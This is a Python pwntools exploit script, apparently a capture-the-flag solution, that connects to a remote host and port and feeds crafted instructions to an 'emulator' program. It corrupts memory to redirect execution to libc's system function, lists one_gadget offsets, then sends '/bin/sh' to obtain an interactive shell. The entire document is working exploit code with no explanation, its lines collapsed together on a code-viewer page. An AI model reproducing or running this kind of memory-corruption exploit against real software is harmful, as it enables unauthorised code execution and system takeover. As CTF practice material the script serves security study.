1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import *
p = process("emulator") p = remote("123.56.52.128","18236") libc = ELF("emulator").libc def input_code(size,data): p.recvuntil(">> ") p.sendline("1") p.recvuntil("instruction size:") p.sendline(str(size)) p.recvuntil("instruction:") p.sendline(data) def run(): p.recvuntil(">> ") p.sendline("2") def command(x): return x << 0x1a def count1(x): a2 = 5 a3 = 21 return ((x<<a3) & (((1 << a2) - 1) << a3)) def count2(x): a2 = 5 a3 = 16 return ((x<<a3) & (((1 << a2) - 1) << a3)) def count3(x): a2 = 16 a3 = 0 return ((x<<a3) & (((1 << a2) - 1) << a3)) def cmd(a,b,c,d): return p64(command(a)+count1(b)+count2(c)+count3(d)) libc.address = 0x7ffff79e2000 one = [0x4f3d5,0x4f432,0x10a41c] code = '' input_code(0xc8,code) code = '' input_code(0x38,code) code = '' code += cmd(8,0,0,0x8000)*2 code += cmd(8,0,0,0x10) code += cmd(8,9,1,0xb0) code += cmd(8,9,2,0x20) code += cmd(8,9,3,0x60) code += cmd(8,9,4,0x21) code += cmd(8,9,5,0x1)
code += cmd(0x2b,0,1,0) code += cmd(8,0,0,0x1) code += cmd(0x2b,0,2,0)
code += cmd(8,0,0,0x1) code += cmd(0x2b,0,3,0)
code += cmd(9,0,0,0x2) code += cmd(9,0,0,0x8) code += cmd(0x2b,0,4,0) code += cmd(8,0,0,0x1) code += cmd(0x2b,0,5,0) input_code(0xf00,code) run() code = '' input_code(0xc8,code)
code = '' input_code(0xc8,p64(0)*23+p64(0x602058))
code = '' input_code(0x300,code) code = '' code += cmd(0x23,9,0,2) code += cmd(8,0,0,1) code += cmd(0x2b,9,0,2)
code += cmd(0x23,9,0,1) code += cmd(9,0,0,0x12) code += cmd(0x2b,9,0,1)
code += cmd(0x23,9,0,0) code += cmd(9,0,0,0x50) code += cmd(0x2b,9,0,0) input_code(0x400,code)
print hex(libc.sym['system']) run() p.sendline("/bin/sh") p.interactive()
|